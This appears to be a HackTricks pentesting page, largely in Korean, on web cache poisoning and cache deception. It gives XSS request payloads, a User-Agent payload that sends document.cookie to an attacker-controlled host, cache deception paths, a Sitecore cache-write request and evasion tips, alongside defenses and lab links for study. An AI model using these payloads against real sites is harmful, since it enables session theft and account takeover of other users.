Cache Poisoning and Cache Deception

Reading time: 15 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

차이점

web cache poisoning과 web cache deception의 차이점은 무엇인가?

  • In web cache poisoning, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
  • In web cache deception, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.

Cache Poisoning

Cache poisoning은 클라이언트 측 캐시를 조작하여 클라이언트가 예상치 못한 리소스, 부분적인 리소스, 또는 공격자가 제어하는 리소스를 로드하도록 강제하는 것을 목표로 합니다. 영향 범위는 영향을 받은 페이지의 인기(트래픽)에 따라 달라지며, 오염된 응답은 캐시 오염 기간 동안 해당 페이지를 방문하는 사용자에게만 제공됩니다.

cache poisoning 공격의 실행은 다음 단계로 구성됩니다:

  1. 키가 지정되지 않은 입력 식별: 요청이 캐시되는 데 필수는 아니지만 서버가 반환하는 응답을 변경할 수 있는 매개변수들입니다. 이러한 입력을 식별하는 것은 캐시를 조작하는 데 중요합니다.
  2. 키가 지정되지 않은 입력의 악용: 식별한 입력을 사용해 서버의 응답을 공격자에게 유리하도록 어떻게 조작할지 파악합니다.
  3. 오염된 응답이 캐시되도록 보장: 조작된 응답이 캐시에 저장되도록 해야 합니다. 이렇게 하면 캐시가 오염된 동안 해당 페이지에 접근하는 모든 사용자가 변조된 응답을 받게 됩니다.

탐지: HTTP 헤더 확인

일반적으로 응답이 캐시에 저장되었을 때 이를 나타내는 헤더가 존재합니다. 어떤 헤더에 주목해야 하는지는 이 글을 확인하세요: HTTP Cache headers.

탐지: 오류 코드 캐싱

응답이 캐시에 저장되고 있다고 생각되면, 잘못된 헤더를 포함한 요청을 보내 서버가 상태 코드 400으로 응답하는지 확인해보세요. 그런 다음 해당 요청을 정상적으로 접근해보고 응답이 400 상태 코드라면 취약한 것이며(심지어 DoS도 가능할 수 있습니다).

다음에서 더 많은 옵션을 확인할 수 있습니다:

Cache Poisoning to DoS

다만, 이러한 종류의 상태 코드가 항상 캐시되는 것은 아니므로 이 테스트가 항상 신뢰할 수 있는 것은 아니라는 점을 유의하세요.

탐지: 키가 지정되지 않은 입력 식별 및 평가

응답을 변경할 수 있는 매개변수와 헤더를 무차별 대입으로 탐색하기 위해 Param Miner를 사용할 수 있습니다. 예를 들어, 페이지가 클라이언트에게 스크립트를 거기서 로드하도록 지시하기 위해 X-Forwarded-For 헤더를 사용하고 있을 수 있습니다:

html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

백엔드 서버로부터 악의적 응답 유도하기

식별한 파라미터/헤더에 대해 값이 어떻게 정제되는지와 응답에서 어디에 반영되는지 또는 응답에 어떻게 영향을 주는지 확인하세요. 이를 악용할 수 있나요(예: XSS 수행, 본인이 제어하는 JS 코드 로드, DoS 수행 등)?

응답을 캐시되도록 만들기

악용할 수 있는 페이지, 사용할 파라미터/헤더, 그리고 어떻게 악용할지를 식별한 후에는 해당 페이지를 캐시되도록 만들어야 합니다. 캐시에 넣으려는 리소스에 따라 시간이 걸릴 수 있으며, 몇 초 동안 여러 번 시도해야 할 수 있습니다.

응답의 헤더 **X-Cache**는 매우 유용할 수 있는데, 요청이 캐시되지 않았을 때는 값이 **miss**이고, 캐시되어 있으면 **hit**일 수 있습니다.
응답 헤더 Cache-Control 또한 리소스가 캐시되는지와 다음 캐시 갱신 시점을 파악하는 데 유용합니다: Cache-Control: public, max-age=1800

또 다른 흥미로운 헤더는 **Vary**입니다. 이 헤더는 보통 추가적인 헤더들을 캐시 키의 일부로 취급된다는 것을 명시하는 데 사용됩니다(평상시에는 키로 사용되지 않더라도). 따라서 공격자가 대상의 User-Agent를 알고 있다면, 해당 특정 User-Agent를 사용하는 사용자들을 위해 캐시를 poison할 수 있습니다.

캐시와 관련된 또 다른 헤더는 **Age**입니다. 이 헤더는 객체가 프록시 캐시에 존재한 시간을 초 단위로 정의합니다.

요청을 캐시할 때는 사용하는 헤더에 대해 주의하세요, 일부 헤더는 예상치 않게 키로 사용될 수 있으며 피해자도 동일한 헤더를 사용해야 합니다. 항상 Cache Poisoning을 다른 브라우저에서 테스트하여 작동하는지 확인하세요.

익스플로잇 예제

가장 쉬운 예제

X-Forwarded-For와 같은 헤더가 응답에 필터링되지 않은 채 반영됩니다. 기본적인 XSS payload를 전송하고 캐시를 poison하면 페이지에 접속하는 모든 사용자가 XSSed 됩니다:

html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Note that this will poison a request to /en?region=uk not to /en

Cache poisoning to DoS

Cache Poisoning to DoS

Cache poisoning through CDNs

**this writeup**에서는 다음과 같은 간단한 시나리오를 설명합니다:

  • CDN은 /share/ 아래의 모든 것을 캐시합니다.
  • CDN은 %2F..%2F를 디코드하거나 정규화하지 않습니다. 따라서 캐시될 다른 민감한 위치에 접근하기 위한 path traversal로 사용할 수 있습니다. 예: https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
  • 웹 서버는 %2F..%2F를 디코드하고 정규화하며 /api/auth/session로 응답합니다. 이 응답은 auth token을 포함합니다.

Cookies는 페이지 응답에 반영될 수도 있습니다. 예를 들어 이를 악용해 XSS를 유발할 수 있다면, 악성 캐시 응답을 불러오는 여러 클라이언트에서 XSS를 통해 공격할 수 있습니다.

html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.

구분자, 정규화 및 점을 사용해 불일치 생성

확인:

Cache Poisoning via URL discrepancies

Cache poisoning with path traversal로 API key 훔치기

이 글은 설명합니다 어떻게 https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 같은 URL로 OpenAI API key를 훔칠 수 있었는지, /share/*와 매칭되는 모든 항목은 Cloudflare가 URL을 정규화하지 않은 상태로 캐시되었고, 정규화는 요청이 웹 서버에 도달했을 때 수행되었기 때문입니다.

이 내용은 또한 다음에서 더 잘 설명되어 있습니다:

Cache Poisoning via URL discrepancies

여러 headers를 사용하여 web cache poisoning 취약점을 악용하기

때때로 캐시를 악용하려면 exploit several unkeyed inputs가 필요할 수 있습니다. 예를 들어, X-Forwarded-Host를 귀하가 제어하는 도메인으로 설정하고 X-Forwarded-Schemehttp로 설정하면 Open redirect를 발견할 수 있습니다. 만약 서버가 모든 HTTP 요청을 HTTPS로 포워딩하고 리디렉션의 도메인 이름으로 헤더 X-Forwarded-Scheme를 사용한다면, 리디렉션이 페이지를 향하는 위치를 제어할 수 있습니다.

html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

제한된 Varyheader 악용

응답에서 X-Host 헤더가 domain name to load a JS resource로 사용되는데, 응답의 Vary 헤더가 **User-Agent**를 가리키는 경우라면, 피해자의 User-Agent를 exfiltrate하고 해당 user agent를 사용해 cache를 poison하는 방법을 찾아야 합니다:

html
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

요청 내용을 URL과 body에 모두 담아 GET 요청을 보낸다. web server가 body의 값을 사용하고 cache server가 URL의 값을 캐시한다면, 그 URL에 접근하는 누구든 실제로는 body의 parameter를 사용하게 된다. 다음은 James Kettle이 Github 웹사이트에서 발견한 vuln의 예이다:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

이와 관련된 PortSwigger lab이 있습니다: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

예를 들어 ruby 서버에서는 parameters를 구분할 때 문자 **;**를 & 대신 사용할 수 있습니다. 이는 키가 없는 매개변수 값을 키가 있는 매개변수 안에 넣어 악용하는 데 사용될 수 있습니다.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

여기에서 Cache Poisoning attacks by abusing HTTP Request Smuggling를 수행하는 방법을 알아보세요.

Automated testing for Web Cache Poisoning

Web Cache Vulnerability Scanner를 사용하여 Web Cache Poisoning을 자동으로 테스트할 수 있습니다. 다양한 기법을 지원하며 높은 커스터마이즈가 가능합니다.

Example usage: wcvs -u example.com

Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

이 실제 사례 패턴은 header 기반의 reflection primitive와 CDN/WAF 동작을 결합하여 다른 사용자에게 제공되는 캐시된 HTML을 신뢰성 있게 poison하는 방식입니다:

  • 메인 HTML은 신뢰할 수 없는 요청 헤더(예: User-Agent)를 실행 가능한 컨텍스트로 반영했습니다.
  • CDN은 캐시 헤더를 제거했지만 내부/오리진 캐시는 존재했습니다. CDN은 또한 정적 확장자(예: .js)로 끝나는 요청을 자동으로 캐시했으며, WAF는 정적 자산에 대한 GET에 대해 더 약한 콘텐츠 검사를 적용했습니다.
  • 요청 흐름의 특이성으로 인해 .js 경로에 대한 요청이 이후 메인 HTML에 사용되는 cache key/variant에 영향을 주어, header reflection을 통해 cross-user XSS가 가능해졌습니다.

실전 레시피(널리 사용되는 CDN/WAF에서 관찰됨):

  1. 깨끗한 IP에서(이전에 평판 기반으로 다운그레이드된 적이 없는 IP 사용) 브라우저나 Burp Proxy의 Match & Replace를 통해 악성 User-Agent를 설정합니다.
  2. Burp Repeater에서 두 개의 요청을 준비하고 "Send group in parallel"(single-packet mode 권장)를 사용합니다:
  • 첫 번째 요청: 동일 오리진의 .js 리소스 경로에 대해 악성 User-Agent를 보내며 GET 요청을 보냅니다.
  • 즉시 이어서: 메인 페이지(/)에 대해 GET을 보냅니다.
  1. CDN/WAF의 라우팅 경쟁과 자동 캐시된 .js가 결합되어 종종 오염된 캐시된 HTML variant를 시드하며, 이는 동일한 캐시 키 조건(예: Vary 차원으로서의 User-Agent)을 공유하는 다른 방문자들에게 제공됩니다.

Example header payload (to exfiltrate non-HttpOnly cookies):

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

Operational tips:

  • Many CDNs hide cache headers; poisoning may appear only on multi-hour refresh cycles. Use multiple vantage IPs and throttle to avoid rate-limit or reputation triggers.
  • Using an IP from the CDN's own cloud sometimes improves routing consistency.
  • If a strict CSP is present, this still works if the reflection executes in main HTML context and CSP allows inline execution or is bypassed by context.

Impact:

  • If session cookies aren’t HttpOnly, zero-click ATO is possible by mass-exfiltrating document.cookie from all users who are served the poisoned HTML.

Defenses:

  • Stop reflecting request headers into HTML; strictly context-encode if unavoidable. Align CDN and origin cache policies and avoid varying on untrusted headers.
  • Ensure WAF applies content inspection consistently to .js requests and static paths.
  • Set HttpOnly (and Secure, SameSite) on session cookies.

Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)

A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the Sitecore.Shell.Xaml.WebControl handler is reached, an xmlcontrol:GlobalHeader (derived from Sitecore.Web.UI.WebControl) is available and the following reflective call is allowed:

POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

이것은 공격자가 선택한 cache key 하에 임의의 HTML을 기록하여, cache key가 알려지면 정확한 poisoning을 가능하게 만듭니다.

전체 세부사항( cache key 구성, ItemService 열거 및 chained post‑auth deserialization RCE)은 다음을 참조하세요:

Sitecore

취약한 예시

Apache Traffic Server (CVE-2021-27577)

ATS는 URL 내부의 fragment를 제거하지 않고 그대로 전달했으며, cache key를 host, path, query만 사용해 생성했습니다( fragment는 무시). 그래서 요청 /#/../?r=javascript:alert(1)는 백엔드로 /#/../?r=javascript:alert(1)로 전송되었고, cache key에는 페이로드가 포함되지 않았으며 host, path, query만 있었습니다.

GitHub CP-DoS

content-type 헤더에 잘못된 값을 보내면 405 캐시된 응답을 발생시켰습니다. cache key에 cookie가 포함되어 있었기 때문에 비인증 사용자만 공격 대상이 될 수 있었습니다.

GitLab + GCP CP-DoS

GitLab은 정적 컨텐츠를 저장하기 위해 GCP buckets를 사용합니다. GCP Buckets는 **헤더 x-http-method-override**를 지원합니다. 따라서 x-http-method-override: HEAD 헤더를 보내 cache를 비우고 빈 응답 본문을 반환하도록 중독할 수 있었습니다. PURGE 메서드도 지원될 수 있습니다.

Rack Middleware (Ruby on Rails)

Ruby on Rails 애플리케이션에서 Rack middleware가 자주 사용됩니다. Rack 코드는 x-forwarded-scheme 헤더 값을 가져와 요청의 스킴으로 설정합니다. x-forwarded-scheme: http 헤더가 전송되면 동일한 위치로 301 리다이렉트가 발생하여 해당 리소스에 대한 DoS를 유발할 수 있습니다. 또한 애플리케이션이 X-forwarded-host 헤더를 인정해 사용자를 지정된 호스트로 리다이렉트할 수도 있습니다. 이 동작은 공격자의 서버에서 JavaScript 파일을 로드하게 만들어 보안 위험을 초래할 수 있습니다.

403 및 Storage Buckets

Cloudflare는 과거에 403 응답을 캐시했습니다. 잘못된 Authorization 헤더로 S3나 Azure Storage Blobs에 접근을 시도하면 403 응답이 발생했고 이 응답이 캐시되었습니다. Cloudflare는 이제 403 응답을 캐시하지 않지만, 다른 프록시 서비스에서는 여전히 이러한 동작이 남아 있을 수 있습니다.

Keyed Parameters 삽입

캐시는 종종 특정 GET 파라미터를 cache key에 포함합니다. 예를 들어 Fastly의 Varnish는 요청에서 size 파라미터를 캐시했습니다. 그러나 URL-encoded된 버전(e.g., siz%65)이 잘못된 값과 함께 전송되면 cache key는 올바른 size 파라미터를 사용해 구성됩니다. 반면 백엔드는 URL-encoded된 파라미터의 값을 처리합니다. 두 번째 size 파라미터를 URL-encoding하면 cache에서는 누락되지만 백엔드에서는 사용됩니다. 이 파라미터에 0을 할당하면 캐시 가능한 400 Bad Request 오류가 발생했습니다.

User Agent 규칙

일부 개발자는 FFUF나 Nuclei와 같은 고트래픽 도구들의 user-agent를 차단해 서버 부하를 관리합니다. 아이러니하게도 이런 접근 방식은 cache poisoning이나 DoS 같은 취약점을 초래할 수 있습니다.

Illegal Header Fields

https://datatracker.ietf.mrg/doc/html/rfc7230는 헤더 이름에서 허용되는 문자를 지정합니다. 지정된 tchar 범위를 벗어나는 문자를 포함하는 헤더는 이상적으로 400 Bad Request 응답을 유발해야 합니다. 실제로는 서버가 항상 이 표준을 따르지 않습니다. 주목할 만한 예는 Akamai로, 잘못된 문자가 포함된 헤더를 전달하고 cache-control 헤더가 없으면 어떤 400 오류든 캐시했습니다. exploitable한 패턴은 \ 같은 불법 문자가 포함된 헤더를 전송하면 캐시 가능한 400 Bad Request 오류가 발생하는 경우였습니다.

새로운 헤더 찾기

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

Cache Deception의 목표는 클라이언트가 캐시에 저장될 민감한 정보를 포함한 리소스를 로드하게 만드는 것입니다.

우선 .css, .js, .png 등과 같은 확장자는 보통 캐시에 저장되도록 설정되어 있다는 점을 유의하세요. 따라서 www.example.com/profile.php/nonexistent.js에 접근하면 캐시는 파일 확장자 .js를 보고 응답을 저장할 가능성이 큽니다. 그러나 애플리케이션이 _www.example.com/profile.php_에 저장된 민감한 사용자 내용을 그대로 반환한다면, 다른 사용자의 그 내용을 탈취할 수 있습니다.

테스트해볼 다른 항목들:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Use lesser known extensions such as .avif

또 다른 명확한 예시는 이 보고서에서 확인할 수 있습니다: https://hackerone.com/reports/593712.
예시에서는 http://www.example.com/home.php/non-existent.css 같은 존재하지 않는 페이지를 로드하면 _http://www.example.com/home.php_의 내용(사용자의 민감한 정보 포함)이 반환되고 캐시 서버가 그 결과를 저장한다고 설명합니다.
그 후 attacker는 자신의 브라우저에서 _http://www.example.com/home.php/non-existent.css_에 접근해 이전에 접근한 사용자들의 기밀 정보를 확인할 수 있습니다.

캐시 프록시가 파일의 확장자(.css)를 기준으로 파일을 캐시하도록 구성되어 있고 content-type이 아니라 확장자를 기준으로 판단하는지 여부를 확인하세요. 예시에서 _http://www.example.com/home.php/non-existent.css_는 text/html content-type을 가지며 text/css MIME 타입이 아닐 수 있습니다.

HTTP Request Smuggling을 악용한 Cache Deception 공격 수행 방법은 여기에서 학습하세요: ../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception

자동화 도구

  • toxicache: Golang 기반 스캐너로, URL 목록에서 web cache poisoning 취약점을 찾고 다양한 주입 기법을 테스트합니다.

참고자료

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기